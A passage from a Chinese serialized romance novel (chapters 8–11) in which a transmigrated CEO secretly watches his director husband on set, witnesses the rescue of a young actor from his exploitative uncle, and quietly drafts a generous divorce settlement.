他已经三天没有见到裴澈了。
两个人同住在一个屋檐下，睡在一墙之隔的卧室，共用一个洗浴间。
起先还是贺朝觉刻意躲裴澈，后来发现都多余。裴澈早出晚归，两人根本没有机会碰面。
贺朝觉郁闷地丢下钢笔，把自己扔进转椅里。
裴澈忙于工作很正常，他刚从小演员升职成导演，要处理的事情肯定很多，还要让剧组的人服众，不忙是不行的。
而且有工作转移注意，他能更快忘记不堪的过去，从那个“贺朝觉”留下的阴影里走出来，这不是好事吗？
贺朝觉蔫蔫地左右转了转，内心唾弃自己。
唯一得不到满足的，就是他内心悄悄滋生的黑暗念头，那头不知餍足的恶兽！
不行，要振作起来。专心工作，不想裴澈！今天开始，就是他重掌辰辉的日子！
李特助推门进来，看见BOSS神情严肃地在白纸上画圆圈。
听见开门的声音，火速拉过份文件将其盖住。抬头若无其事地问道：“裴先生今天在做什么？”
李特助：……
他已经习惯了出院后的BOSS风格，熟练地打开裴澈的日程表看了一眼：“现在应该是在……”
“算了，不用告诉我了！……你过来是有什么事情要说？”
“哦。”李特助处变不惊，自如切换，将要处理的事情一一汇报。
然后抬眼瞄着心不在焉的BOSS，心里默数:
321——
“裴澈的日程表，打印一份给我。”
李特助默默送上一份事先打好的日程表，转身出门，深藏功与名。
毕竟，裴先生不在的这些天，天天如此。
*
裴澈回看着监视器里的片段，好看的眉毛轻轻拧起。
男女主初遇的片段，已经NG了数次，不是不行，就是哪里差点意思。
饰演女主的姜雅歌走到裴澈身边：“裴导，您找我？”
她长相美艳，是那种攻击性很强的气质，加上军阀千金的妆容非常张扬。
“嗯，”裴澈站起来，指指一边的监视器，“我注意到你这里摸了下耳环，可以讲讲加这个动作的想法吗？”
监视器里是开拍的第一条，女主碰巧听见男主和商会会长聊天，误认为对方是亲日分子，开始起了关注试探之心。
镜头切到阳台窗帘后偷听到对话的女主，她冷静地望向远处混入人群的男主，眼神中浮现出危险的审视。
这里姜雅歌的眼神处理和后面几条不太一样，就是这其中的变化，让裴澈觉得隐约抓住的东西找到了。
姜雅歌看了裴澈一眼，笑了笑，语气有点漫不经心：
“其实没什么特别，就是……这对耳环是她妈妈的遗物，对她来说意义很大吧。女主看起来锋利，骨子里还有点没长大，很多时候是和她的父亲对着干。现在她自己都没明白，到底是为了什么在斗……”
说到这里，姜雅歌微不可见地抿抿唇，停了下来。
裴澈认可地点点头，仿佛没有注意到她的停顿：“嗯不错，摸耳环的确传达了女主对过世母亲的依赖，也是她仇恨驱动的一个体现。不过动作有点外放了，情绪稍微收一点，效果会更好。”
姜雅歌微微一怔，忍不住抬头看了裴澈一眼。
她很久没有遇到认真讲戏的导演了。
姜雅歌之前走的是偶像剧流量路线，刚进公司就得罪了一个小高管，资源一直很虐，又因为性子火爆被恶剪，全网出了名的嘴坏脑子空，公司索性走黑红路线，打算榨干剩余价值就雪藏。
这个本子是经纪人临时塞给她，画饼说导演点名要的她，把项目吹得天上有地上无。
剧本姜雅歌看了，确实不错，但真的好项目也不可能轮到她。这个导演年轻好看气质矜贵清冷，多半是哪家公子哥来镀金，只走走过场，却没想到裴澈对细节如此在意。
姜雅歌不由得点头听着，跟着被代入讨论之中。
戴着墨镜的贺朝觉从墙角探出头，剧组人员自然地和他打招呼：
“贺总，您来探班啊。”
贺朝觉狐疑地皱起眉毛，面上从容走出来，神情莫测地嗯了一声：“不要让裴澈知道。”
工作人员对视一眼，连连点头。
都懂，都懂，这是要给裴导惊喜。
工作人员头凑着头说笑走开，贺朝觉站定在阴影里，投向他们的眼神晦暗不明。
那个“贺朝觉”把裴澈藏得很紧，所以他到现在才是个名不见经传的小演员。
但没想到，公司的消息传播这么快！现在所有人都知道裴澈是贺氏……不，辰辉的总裁夫人了。
贺朝觉眉头紧锁，有点发愁。
裴澈知道这些人为什么突然对他这么恭敬吗？他刚凭借自己的努力升职成导演，知道了会怎么想？
落后一步的李特助在后面和剧组人员打招呼，告诉他们点好了饮料在外面，手头没活的瞬间叫着“贺总万岁”就去了。
等李特助赶上来，就看见BOSS站在阴影里看向片场中间。
整个片场被布置成民国背景的豪华宴会厅，长餐桌边的群演们三三两两站在自己的位置上。
不愧是裴澈，一来就对标最热的《半生烟梦》剧本。
贺朝觉自豪地点点头，紧接着又眉头一拧，怎么这些人都没有动静？
他目光沉沉扫到场边，终于发现了背对自己的裴澈，对面还站着另一个人。
留洋千金打扮的女人长相盛气凌人，对着裴澈表情居高临下，冰冷恨毒。
贺朝觉：？？？
有那谁的前车之鉴，他把旁边的李特助薅过来，指着那边严肃地问：“他们是在对戏？”
李特助“啊”了一下，跟着往那边看了一眼：“BOSS，是吧。”不然还能干嘛？
对戏有必要这么凶？
贺朝觉还不放心，沉着脸背手而立：“十分钟，我要她所有的资料。”
“BOSS，”李特助随便瞄了
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一眼，“我知道她是谁。”
“你知道？”
“全网应该没几个人不知道吧。”
几个人之一的贺朝觉转过头来，瞪了李特助一眼。
李特助利落闭嘴：“她就是最近被全网黑的花瓶女星姜雅歌，橙子娱乐那个。”
听完汇报，贺朝觉打了结的眉毛越皱越紧：居然把这种劣迹艺人丢给裴澈！橙子娱乐该榨榨汁了。
他又心痛，又什么都做不了，只能眼睁睁看着裴澈被人耍大牌，之后因为工作人员的不配合还要亲自奔走在片场上下，监督各种细节的落实。
等今天的戏结束，贺朝觉怅然地看了裴澈好一会，叹了口气，默默戴好墨镜隐没在阴影里，打算悄声退场。
李特助兴高采烈地招手：“裴导，这边！”
“……”
贺朝觉从柱子背后绕出来，僵硬地给裴澈打招呼。
自从那晚对裴澈产生了不该有的邪念，他完全不知道怎么面对裴澈才好。
李特助一无所觉，还笑着说：“BOSS还买了饮料！”
“是嘛？”裴澈心情很好，微笑着问道。
他老远就看见贺朝觉站在柱子后面偷看自己，悄摸摸地以为没人发现，情态相当可爱。
裴澈笑着站到贺朝觉面前，视线往下：“蜂蜜百香果？”
“嗯，”贺朝觉面色如常，状若随意地递过去，“随便买的。”
“哦——”一帮收工的工作人员举着饮料路过，瞬间起哄声四起。
“谢谢贺总的饮料！”
“我怎么没有蜂蜜百香果啊？”
“哦，随、便、买、的——”
裴澈无奈地摇摇头：“辛苦大家了，记得路过门口领一下开机红包！”
说着去挽贺朝觉的胳膊。
还没靠近半米，贺朝觉蹭地飞到了一米以外。
裴澈疑惑地看看自己挽了个空的手：前几天不是好了？怎么突然又这样了？
贺朝觉滚滚喉咙，火急火燎地说：“我就是路过一下，现在让李特助送我回公司。”
裴澈看向贺朝觉身后：“但李特助不是先走了吗？”
“什么？！”
贺朝觉猛地转头，发现自己身边果然空了。
“他刚给我打完招呼就走了，”裴澈拉过贺朝觉往外走，“你有什么急事？我送你过去吧。”
不该买饮料的时候乱买饮料，该他开车的时候倒是不见了。
真是成事不足，败事有余！
十分钟后，被摁在裴澈身边副驾驶座的贺朝觉眼神游移，僵硬地被捆在安全带里，像一只脱光了毛的鸡。
裴澈一边打方向盘，一边随口问：“最近忙得都没顾上你，公司那边有事？”
辰辉的运营一向稳定，结婚以来基本没有什么急事需要贺朝觉去公司加班。
“嗯……”贺朝觉反应了一下，下意识道，“对，有个新合作。”
“和谁啊，让你这么紧张？”裴澈打趣地问道，“有大事发生？”
“……橙子娱乐。”
贺朝觉随口乱编，目光阴沉地看向前方。
的确是大事，他们要破产了。
9. 第 9 章
“橙子娱乐？”裴澈一怔，随即好笑地开口，“学会开玩笑了。”
辰辉是科技公司，和橙子娱乐合作，一听就是瞎说。
不过贺朝觉最近乖乖的样子让他觉得有点可爱。
前面红绿灯排队，裴澈把车驶入左转车道，侧身飞快在贺朝觉脸上亲了一下：“你别管了，橙子娱乐自作自受，最近会有大新闻。”
“！！！”
贺朝觉什么都没听到，一瞬间所有感官都集中到了脸上。
裴澈亲了自己一口！
他一把捂住脸，红意直接烧到脖子上，小媳妇似地看向裴澈。
前面的车启动，裴澈已经转回去专心开车，没看见他的反应。
贺朝觉捂着脸往远离裴澈的方向猛地一偏，屁股却忍不住悄摸摸往驾驶座挪了挪。
裴澈抬眼一看，后视镜里的贺朝觉在一边抻成个人字旁。
疑惑道：“怎么了？”
语气平静自然，仿佛刚刚亲了贺朝觉脸颊的是别人一样。
“没……没什么。”人字旁贺朝觉把不听话的屁股挪回来，脸上红白交加。
明明想保持距离，可随着每一次裴澈靠近，他的身体却不由自主地向裴澈靠拢。
不由自主……都是借口。
裴澈为什么会对自己这么亲近？从前的裴澈可是对那个“贺朝觉”避之不及的。
不可能是因为裴澈喜欢他。贺朝觉脑子飞速运转，努力说服自己。
他仔细查过相关心理学资料，这种亲近是受害者的自我保护心理作祟，是错置的情感。
贺朝觉面色一痛，眸光瞬间变得幽谭般深不见底。
他作为这段关系里唯一脑子健全的成年人，应该控制住他自己！
贺朝觉扭了几下，情绪突然变得低落，耷拉着脑袋坐在一边很是形单影只。
裴澈偏头看他，不让插手橙子娱乐的事，就失落成这样了？
想了想，裴澈提议：“要不，我陪你去加班？”
语气带着点哄诱的意味，甚至称得上宠溺。
不用不用不用！拒绝他！
理智尚未阻止，贺朝觉的身体已经自发地、飞快地点了点头，生怕裴澈反悔一样。
“好啊！”
话音刚落，他整个人僵住。
该死的，身上又多了一个叛徒！
见贺朝觉被拆穿心思，一副仿佛天塌了的模样，裴澈忍不住弯了嘴角，头一次感觉老攻撞坏脑子也不是没有好处，心思都变得透明了。
看他总是成熟可靠，原来也不喜欢一个人加班啊。
贺朝觉蔫不拉叽地垂着头，几次想改口说不用了，抬头看见裴澈轻松愉快的侧脸，叛变的嘴安静如鸡。
向来稳重的男人木木杵在座位上，神态又是雀跃又是懊恼，像个努力忍耐不去打扰父母工作的乖孩子。
裴澈心里温软，腾出一只手摸了摸贺朝觉的头发：“没事，我今天不忙。”
纤长的手指穿过发间，轻巧的动作却像是直直透过贺朝觉的皮囊，落到他内心盘踞着的那头肮脏巨兽身上。内心深处升腾起的躁动愈发难以忽视。
贺朝觉垂眸遮住烫得要溢出来的侵略性，强忍着没有伸出獠牙。裴澈却对危险毫无所觉，手指挑起一缕头发，轻轻缠绕在指尖。
这一动作彻底点燃了贺朝觉内心的战栗。
“别……”喉间艰难地挤出一个字，下一秒，他的手已经不由自主抬起，猛然扣住了裴澈的手腕。
裴澈一愣，微微睁大了眼，显然没料到贺朝觉会有这样突然的动作。
贺朝觉也惊了一下，身体僵硬了片刻。
圈在手里的腕骨纤细脆弱，好像轻轻一捏就会折去。
贺朝觉猛地惊醒，松了力道：“专心开车，不是还要陪我加班嘛。”
就一下，放任自己沉浸一下，这也是为了不伤害裴澈的感情。
一会到了公司，他就潜心工作，改过自新！
本来胡编乱造的加班，现在没有加班创造条件也要加班！
……
裴澈只当贺朝觉对肢体接触还是有些敏感，没想太多。因为俩人都没吃晚饭，他给常吃餐厅打电话预订了饭菜打包，打算路过取一下。
车子拐过一道弯，裴澈的车速突然慢下来。
“怎么了？”
贺朝觉顺着他的视线，朝街角看去。
一个有点眼熟的年轻人被堵在那里，正紧握着拳头，浑身紧绷，极力压抑着情绪。对面的男人面相凶恶，唾沫横飞，旁边还跟着个期期艾艾的女人。
“是易帆。”
裴澈的眉头皱了起来。上次聊过后，易帆很快下定决心签订了合同，今天虽然没有他的戏份，也提前进组学习和熟悉。
刚刚收工时还好好的，怎么突然被人堵在街角。
对面那两个人，是他的姑父和姑姑？
“该说的我都说过啦，那是我自己的机会，”易帆压抑着怒火，尽量冷静地一字一句说道，“你没权利替我做主！”
“自己的机会？黄总那边要是高兴了，你以后还愁没有戏拍？”
易姑父三角眼上的眼皮松松耷拉着，眼里露出不耐烦的凶光：“我可是替你铺好了路，你偏偏不领情！卖了试镜怎么了？难道我会害你？”
“这就是我想要拍的戏，我自己争取到的试镜机会。你难道害我还少吗？”易帆气得简直要发抖，牙关紧咬，“我妈留下来的房子，还有你当年篡改我志愿的事……”
“我呸！你个忘恩负义的小畜生！”
易姑父脸上横肉一甩，挥起拳头就要打人，易姑姑连忙扑过去抱住他。
哐啷一声，膝盖重重磕在地上，气质有点畏缩的女人红着眼眶抬头看易帆：“小帆，是姑姑对不住你……可是你表弟刚刚毕业，你也希望他能找到好工作吧？黄总的公司那么大……”
这条街靠近餐饮娱乐的中心区域，晚饭时间人流量不小。
这番动静下，周围三三两两驻足的人一下变多了，有围观起来的趋势。
易姑父突然壮了胆子，叉腰开始耍横：“供你长这么大，这么多年上学也花了不少钱，我看你是不认账了吧！”
围观的人指指点点，易帆涨红了脸：“这些我都记着，大学期间兼职攒了钱，我一分没留，都还给你了。”
“听听！听听！”易姑父瞬间抓住话柄，“钱还清了，人情能清吗？亏你姑姑那么疼你，你表弟工作的事你是一点不管啊！”
“大家来看一看啊，当了大明星就要和养大他的姑父姑姑撇清关系啦！”
“你别胡说！根本不是这样……大家不要听……”易帆拼命解释，但人群里已经开始有惊呼“明星啊”、“难怪”、“真是黑心”之类的，甚至有人开始拿出手机要拍照。
怎么办！易帆紧咬嘴唇，恨不得长了几十张嘴，一下子把姑父姑姑说倒
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，让这些人都听自己的。
他信誓旦旦地和裴导说，要处理好这些事的，如果那些照片被人po上网……
“也不知道现在有机会拍戏，是怎么来的，一点不知感恩，我看你是在外面认识了什么——”
“够了！”易帆的声音忽然拔高，压抑许久的怒火终于爆发，“姑姑对我好，我心里有数。但姑姑是姑姑，你是你！”
他好像被自己的爆发吓了一跳，但很快恢复神色，泛白指节握紧拳头怒视着姑父，声音沙哑坚定：“你拿我妈的房子填赌债，为了职业学校的工厂补贴篡改我的志愿，现在卖了我的试镜机会，还要让我为表弟的工作背锅？”
“天哪！”围观人群一下沸腾了，没想到能吃到这么五毒俱全的瓜。
一时间气氛微妙地转变了，开始有人窃窃私语：“这家人看着不像善茬啊……”
“你……你你！”
易姑父没想到从来脾气温顺、任他揉捏的易帆突然发难，一时愣住了，竟不知道怎么反驳。
面对周围指指点点的围观人群，他气势也瞬间弱了几分。
就在这时，路边突然响起一道车喇叭的声音。
围观路人纷纷扭头看去，只见一辆低调的黑色沃尔沃停在路边，驾驶座的车窗微微降下，露出一张清冷昳丽的脸。
裴澈轻轻扫过易帆姑姑一家，神色间透着淡淡的冷意，转向易帆：“上车。”
易帆红着眼睛，神情愣怔，几乎是下意识顺从着坐进了后座。在他关上车门的瞬间，易姑父才反应过来，猛地冲向车子，嘴里骂骂咧咧：“你个小兔崽子，原来是傍上——”
话还未出口，他的声音硬生生卡住了。
从副驾驶座上传来一道凌厉冰冷的目光，那眼神阴鸷无情，仿佛在看一个死人。
座上的男人西装革履，神色沉稳而不怒自威。此刻，只是微微偏头冷冷盯住易姑父，就让他从心底涌上一股子战栗。
惹不起。这是易姑父的第一反应。
下意识打了个寒噤，脸上狠劲立时散了，骂到嘴边的话硬生生咽了回去。
“易帆现在是我们剧组的签约演员，”裴澈没再看他，只是淡淡开口，语气不容置疑，“如果你继续纠缠他，拖延拍摄进程，或者影响到剧组的名誉，我不介意送你一张法院传票。”
车子重新启动，把易姑父一家和围观群众甩在后面。
“裴导对不起，给您惹麻烦了。”
脸色煞白的年轻人垂着头僵坐在后座，羞愧得不行。
贺朝觉隔着后视镜瞪他：“确实麻烦。”
因为在开车，裴澈只斜斜飞了他一眼，贺朝觉闭上嘴不说话。
易帆的头垂得更低了。
裴澈瞥了眼右前方的餐馆，温声开口：“吃晚饭了吗？”
晚饭？贺朝觉瞬间警觉起来。放那谁上车就算了，怎么还关心他吃不吃饭。
刚刚不是还说打包了饭菜陪自己去加班的？
瞬间忘了要和裴澈保持距离的事，冷声替易帆答道：“他还不饿。”
“对我不饿……”易帆附和着，肚子不争气地响起一声空鸣。
“……”
贺朝觉趁裴澈不注意，转过头恶狠狠地瞪了他一眼。
不就是装可怜，谁不会啊。
贺朝觉酸不溜丢地开口：“李特助回家了，办公室一个人都没有，但没有关系，我会把所有文件看完的。”
10. 第 10 章
“但没有关系，我会把所有文件看完的。”
好一朵柔弱又倔强的小白花。
裴澈：“……”
他装作面无表情地打了下方向盘，故意逗道：“嗯，相信你可以。”
嗯？
贺朝觉被裴澈平静的回复噎了一下，俊脸裂开了。相信他可以？那裴澈去干嘛，难不成真陪那谁吃饭？
……
后座的易帆小心翼翼开口：“裴导，你们有事就去忙吧，我一个人没问题。”
“不行，”裴澈摇摇头，声音一如既往的温和，“明天的戏可是很关键，得确保你吃好睡足，安全到家。”
贺朝觉酸到一半的心一僵，表情蓦地缓和下来。
怎么忘了，裴澈现在是有事业的人了。
他看向前方，幽深的眸子闪烁不定。自己在这里吃没有立场的醋，裴澈却要为事业做打算……
想起片场那些不听他使唤的人，贺朝觉眉头皱得可以夹苍蝇。
难道让裴澈一直这样四处碰壁，不受尊重，那他和那个“贺朝觉”有什么区别。
不行！
贺朝觉重新看向后视镜里易帆的脸，眼神瞬间变得炽热——
这是裴澈的班底，是他走向大导演的第一步！
“够了够了……贺总，我吃不下了。”
易帆目瞪口呆地看着眼前小碗上堆起的小山般的菜，一旁冷着脸的贺朝觉伸过筷子，排骨从松开的筷间落下，掉到顶上，整个菜堆颤颤巍巍地抖了一下。
有种饿，叫做老板的对象觉得你饿了。
贺朝觉满意地点点头，不枉他找了个借口说加班突然不急了，今天势必要帮裴澈把那谁拿下！
多吃点，跟着你们裴导好好干。
贺朝觉用充满鼓励的眼神看向易帆。
易帆：“……”
救命，贺总看他的眼神好冷酷、好凶恶，是想用眼神杀死他吗呜呜~
贺朝觉旁边，把一切看在眼里的小可怜·事业起步期·裴澈：“……”
当着易帆的面他不好意思问太多，只好随手夹起块山楂糕咬了一口。
牙齿切入柔软的质地，酸酸甜甜的味道瞬间充斥了整个口腔，裴澈后知后觉地僵住。
忘记了，最近胃痛忌口，不能吃酸。
难得有些心虚地停下，故作自然地放下咬了一口的山楂糕。
裴澈假装咀嚼，不动声色地拿张纸巾擦嘴，顺势把嘴里的山楂糕也吐了出去。
贺朝觉却敏锐地发现了裴澈的动作，瞬间眉头一皱：“山楂糕不合口味？”
裴澈张张唇，刚想解释，就见贺朝觉果断转头对易帆道：“你觉得好吃吗？”
易帆愣住，嘴里塞着菜，艰难地点头：“挺……挺好的。”
“别吃了，”贺朝觉一挥手，“不合胃口的东西就不该留在桌上。”
裴澈：“……”
易帆：“……”
“别听他瞎说，你喜欢就多吃点。”
裴澈忙打圆场，把装着山楂糕的小碟推到易帆面前。
本来是打算给易帆点完菜，让小陶来送他回家，自己带着打包饭菜陪贺朝觉去加班。被贺朝觉一搅和，三个人硬是坐在一张桌上吃完了这顿饭。
转眼来到晚上8点，送走易帆，裴澈抬手看了下表：“有点晚了，今天还加班吗？”
当然！贺朝觉深邃的眼眸看向夜空，是时候执行他专心加班的计划了——
“不加了，我去拿点文件回家看吧。”
该死，这没出息的嘴。
车子开进前院的时候，一路抱着文件有点沉闷的贺朝觉突然没头没脑来了句：“他太没用了。”
“什么？”裴澈拐进地下停车场入口，诧异地看向贺朝觉。
“一点小事都处理不好，弄到你面前让你烦恼。”
可恨，裴澈竟然沦落到要倚仗这种人创业起家！
他方才想了一路，怎么想都是那个“贺朝觉”留下的债，本该闪闪发亮的裴澈……
长眉蹙起的男人坐在副驾驶座里，肩头微垮，如同遭受了打击无力又脆弱。
裴澈泊好车，俯身揉开他紧缩的眉头，贺朝觉抖了一下，没再避开。
“每个人都有脆弱的时候，想要有人拉他一把。”
贺朝觉飞快抬头看了裴澈一眼。
“这点你不是最了解的吗？”裴澈笑盈盈地看向贺朝觉，回忆起两人的初识，那时候就是贺朝觉拉了他一把啊。
贺朝觉瞬间僵硬，整个人如同浸入了冰水里。
这话是什么意思？
讽刺他……那个“贺朝觉”趁人之危、趁虚而入吗？
而他现在也是一样，卑劣地渴望着裴澈，这样下去，和那个偏执的禽兽有什么区别！
贺朝觉没被哄好，情绪反而肉眼可见地更加低落。
裴澈看了两眼，突然直回身子“哦”了一声，贺朝觉立马抬头。
裴澈慢悠悠开口：“你老是在我面前乱吃飞醋，我也很困扰啊。”
我也很困扰啊……
贺朝觉整个人像是被戳中了要害，脸上血色登时褪尽，猛地站起身。
原本只是一个调节气氛的玩笑，裴澈没有想到贺朝觉反应这么大。
男人忘记了自己身上还绑着安全带。
“哐！”的一声巨响。
贺朝觉的身体蹭地站起，被安全带强行弹回座椅，上半身因为惯性甩了出来，狠狠地撞上了裴澈的肩膀。
裴澈完全没防备，额头被贺朝觉一个头槌撞了个正着，瞬间倒吸了一口气。
“哎——”裴澈吃痛地捂住额头，“你干什么呢，贺朝觉！”
贺朝觉懵了一瞬，迅速意识到自己闯了祸，伸手去摸裴澈的额头，语气慌张：“没、没事吧？”
裴澈哭笑不得地看着他，揉着被撞得有点红的额头，调侃道：“看来你真的是气急了，还想对我动手？”
贺朝觉有点窘迫，低下头看着自己还系着的安全带，支吾着：“……忘了。”
裴澈被他这副模样逗乐了，笑着伸手帮他解开了安全带，顺便又在脸颊落下一个吻：“开玩笑的！我就喜欢你这样！”
车窗摇到一半，晚风精灵般钻进来，夜空深邃得像一块巧克力，星子被晚风扯下来，融融的星光一直流到贺朝觉心底。
“我……”
贺朝觉的嘴张张合合，最终什么都没说出口。
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整个世界好像都变得安宁静谧，只剩下他心脏砰跳的声音。
他喜欢我！
贺朝觉期期艾艾地看裴澈绕过车头，给他拉开车门。
他喜欢我。
他喜欢的是我。
贺朝觉可耻地心动了。有没有可能，他是他，那个“贺朝觉”是那个“贺朝觉”，裴澈喜欢他，厌恶那个“贺朝觉”。
裴澈牵起呆若木鸡的贺朝觉的手，用力捏了捏，朝大门的方向走去。
“还在想呢？易帆那边没问题的，他能和姑父一家断干净。”
简单的一句话，裴澈绝对想不到，飘到贺朝觉耳中就剩下最后三个字。
断干净。
贺朝觉眸色深深，是的，他是他，那个“贺朝觉”是那个“贺朝觉”，他要和那个“贺朝觉”断干净。
他要守在裴澈身边，看着他成为一个有名的大导演，这些都是那三年里这副身体欠他的。
至于之后……
贺朝觉沉痛地合了合眼，痛苦又甜蜜。
如果裴澈想和自己断干净，自己也不是不可以……
他用力攥紧拳头，暗暗下定了决心。
等到这部剧播出，裴澈一定会从一个岌岌无名的小演员跻身一流名导！
这最后的时光里，就让他自私一把！
走到楼梯口，裴澈突然撒开贺朝觉的手，贺朝觉警觉回眸。
裴澈扬扬手机：“你先上去，我接个电话。”
书房颜色简约，一整面书柜立到墙顶，装饰风格和贺朝觉在总裁办公室的私人休息室如出一辙。
此刻，书房主人正在地毯上一圈一圈地踱着步，头脑风暴。
狂喜唤醒了心里的巨兽，贺朝觉深知它贪婪本性。
得让裴澈留足退路，得让他尽快成为大导演，掌握话语权……不，还不够！
贺朝觉眸色一深，拿起手机按下了某个号码。
另一边。
“没有别的意思，”裴澈声音冷得沁出冰渣，眼神似笑非笑，“你自己做了什么心里清楚。你OUT了。”
电话那头的张副导气得手直抖。
黄毛小儿，拿了几个奖项被吹成新生代接班人，就真把自己当盘菜了。
等到开机第一天，才让他从别人那里知道自己出局，张副导从来没被这么羞辱过。
他低声威胁：“你可想好了，刘总李总他们那边的投资，可都是看我脸面的……”
“嗤——”
毫不客气的耻笑，好像听见了顶级笑话。
张副导突然有点心慌，就好像什么事情失去了掌控。怎么回事，裴澈不就是个寒门出身，靠一点天赋崭露头角的新人吗？
他心一横，在这一行，资本才是老子。
“裴澈，你不要以为你可以一手遮天，拍戏的水比你想的深！”
“哦。”裴澈轻描淡写，“潮水退去，那祝你在浅滩游得愉快。”
什么意思？
滴滴的忙音传来，张副导茫然低头看去，裴澈怎么敢挂他的电话！
裴澈按熄屏幕，嘴角微微勾起。
指尖滑过屏幕的瞬间，他不紧不慢地低语了一句：“抱歉，我的剧组，只听我的。”
11. 第 11 章
李特助最近十分忧愁。
前几天夜里来的消息，直接把他吓得手一抖，差点把CP群退了，食堂的饭菜也不香了，只能勉强吃下两碗。
抱着文件的男人步履匆匆，仿佛一下老了五岁。
“诶，李特助！这里这里！”
总裁办的刘钥明贼兮兮对他招招手，刚例行寒暄一波，就迫不及待压低嗓音，眨眨眼：“最近是不是吃独食了？有糖一起吃才是王道啊！”
李特助捏紧手里的文件，没精打采地摇摇头：“没有糖。”
别说糖了，怕是要全部泡汤了！
“啊？”
面对懵逼的刘钥明，李特助疲惫地拍拍她的肩膀，勉强挤出一个鼓励的微笑。
有时候，无知也是一种幸福。
终究是他自己，背负起了所有的秘密。
“哐”地一声，厚厚的文件落在贺朝觉办公桌上，李特助一秒转换角色，语气严谨：“房产清单已经全部整理完毕，除了城东别墅的手续问题，其他房产随时可以进行所有权转让。您名下的现金、基金以及债权清单也在这里，只需签署好相关的转让文件即可。
停了停，翻到另一页，继续说道：“至于辰辉的股权，目前处于锁定期，暂时冻结，转让可能会引起市场波动，这一点还需要您斟酌。”
“这一沓是需要您亲自过目，签字加盖私章的文件。”
话到此处，他的语气仍旧井然有序、平静如常，当介绍到最后一叠薄薄的纸时，声音略微顿了顿。
“所有财产分割方案的草稿已经拟好，裴先生将获得您总资产的98%。”
李特助微不可见地吸了口气，缓缓推过最后一份文件，“这是离婚协议书的初稿。”
“放那吧。”
办公桌后的男人只低低嗯了一声，神态间流露出几分凉薄让人心惊。
李特助忍不住开口：“BOSS，您真的要——”
话头猛地停住，贺朝觉深不见底的眼神扫过来，把李特助剩下半截话逼回了嗓子眼里。
“做你该做的事，不该问的别问。”
他自己的财产，爱分给裴澈就分给裴澈。要是李特助看不清自己的位置……
贺朝觉阴测测道：“别做多余的事。”
半敞的门上突然传来“扣扣”的声音，门被推开，裴澈站在门边轻轻挑眉：“聊什么呢？这么严肃。”
贺朝觉下意识拉过张白纸，“刷拉”一声盖住桌上的协议书。
裴澈的眉头挑得更高了。
“你怎么没在拍戏？”贺朝觉恶声恶气地问。
……该死，模式没切换回来，撤回。
“你怎么没在拍戏？”贺朝觉压低嗓音，压迫力十足地问。
……可以再撤回一次嘛。
最后——
“提前下班了？”贺朝觉破罐子破摔，干巴巴地问。
李特助：“……”
夭寿了，贺总对裴先生竟然这么凶，他们的婚姻果然要完蛋了吗？
“嗯，今天超额完成拍摄任务，正好晚上谢以寒请吃饭。”
裴澈轻描淡写地扔下一个炸弹，瞬间屋里四只眼睛都转移到了他身上。
李特助不知道自己现在是什么表情，希望不要过于精彩。
不愧是裴先生，贺总背着他惹出来的破事，连我都不知道内情，他怕不是已经全知道了，现在下家都找好了！
贺朝觉的表情也很精彩，他还没从刚刚的惊吓里缓过来，隔了半晌，才有些迟钝地问：“怎么又吃饭？”
上次不是才到家把鸡粥吃完了，那可是裴澈给他做的！
“他最近得空回T城，今天刚把客串戏份拍完。你还有事要忙？”
裴澈一边说，一边自然地朝办公桌的方向走去。
贺朝觉腾地站起来：“没事！”
反手将那沓文件塞到角落，丢给李特助一个眼色。
俊脸上心虚和气愤交替上演，裴澈若有所思地看了眼被他藏起来的文件，没说什么：“那一起去？”
谢以寒选的是一家位于市中心的私厨，隐藏在一栋大楼顶层。虽然身处闹市，这家餐厅显得格外低调，入口处只有简约的木质门框，上头几个大字笔锋遒劲，透着内敛的气派。
进去之后是另一方天地，有种与外界完全隔绝的宁静感。墙壁用精美木雕装饰。角落摆放着造型别致的竹子，低调却不失奢华。
侍者领着两人到了二层，谢以寒鬼鬼祟祟地从包厢探出头，顶着墨镜兴奋招手：“澈澈，这里这里！”
等裴澈到了边上，还哈着腰来搭他的手：“您请——哎哟！”
跟在后面的贺朝觉瞬间一个箭步上前，“啪”地一声打掉了谢以寒的爪子。
谢以寒揉着被打红的手背，嘶嘶吸气，顶着贺朝觉凶恶的眼神，敢怒不敢言。
裴澈：“……”
他牢牢抓过贺朝觉的手，抛给谢以寒一个眼神：“别管他，咱们走。”
是哦，贺朝觉现在脑子坏了。
谢以寒挠挠头，把两人让进去。
桌上已经点好了一堆菜，放眼望去全是裴澈爱吃的。让裴澈和贺朝觉做到上首，谢以寒又是端茶递水，又是嘘寒问暖，就差没长条尾巴摇起来。
本来还因为裴澈主动牵自己沾沾自喜的贺朝觉瞬间警觉，无事不登三宝殿。
裴澈和谢以寒这么多年朋友，早习惯了他有求于人的狗腿样子，轻飘飘开口：“说吧，什么事？”
谢以寒故作客气地摆摆手：“这多不好意思，吃完再说。”
裴澈似笑非笑：“那我就先——”
“哎哎哎，”谢以寒连忙打断，腆着脸凑上来，“裴哥！裴哥哥！”
贺朝觉臭着脸伸长胳膊，在裴澈身前圈出一条隔离线。
谢以寒不以为意，绕圈凑到另一边。
“听说你这新剧投资充足，”声音贱兮兮地可怜，零帧起手，“给兄弟搭搭线啊！”
想得美！
贺朝觉瞬间眉毛倒竖。好家伙，上次抢角色，这次抢投资，这个谢什么影帝怎么天天讨饭！
裴澈见贺朝觉要发火，连忙拍拍他的手。
贺朝觉委委屈屈凑上来，在裴澈耳边小小声说：“他想骗你的投资。”
裴澈点点头，像是听进去贺朝觉的话，纠正他：“也不完全叫骗。”
谢以寒：“……”
他能听到的好嘛。
玩笑归玩笑，谢以寒看本子的能力还是很强的。他愿意低头拉投资，估计自己那点钱已经全贴进去了。
裴澈了然地抬头，问谢以寒：“还差多少？”
谢以寒家里条件不差，奈何犟种爹一直对他从A大金融专业退学去演戏的行为耿耿于怀。
加上刚入行识人不清签了黑合同，谢影帝兢兢业业多年偿完违约金，归来仍然是穷逼一个。
要靠他继承了家业又事业有成的好兄弟接济。
“不多不多，”谢以寒伸出一只手，对好兄弟比划了个三，“你要是有闲钱，考虑下自己注资呗？”
三万？贺朝觉坐不住了，他怎么不去抢！
裴澈看起来像是有三万的人吗？
三百万……裴澈若有所思地点点头：“后期吃紧？”
“您真是料事如神！”谢以寒比了个大拇指。
“应该没问题，你和小陶对接下吧。”
“得嘞！谢裴哥！”
谢以寒三两下骗走了裴澈三万资金，狗腿地在一边给他夹菜，贺朝觉看得目瞪口呆。
“澈澈，阿澈，”他换了称呼，继续给裴澈
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吹枕边风，“不能听他的，你自己的剧要紧。”
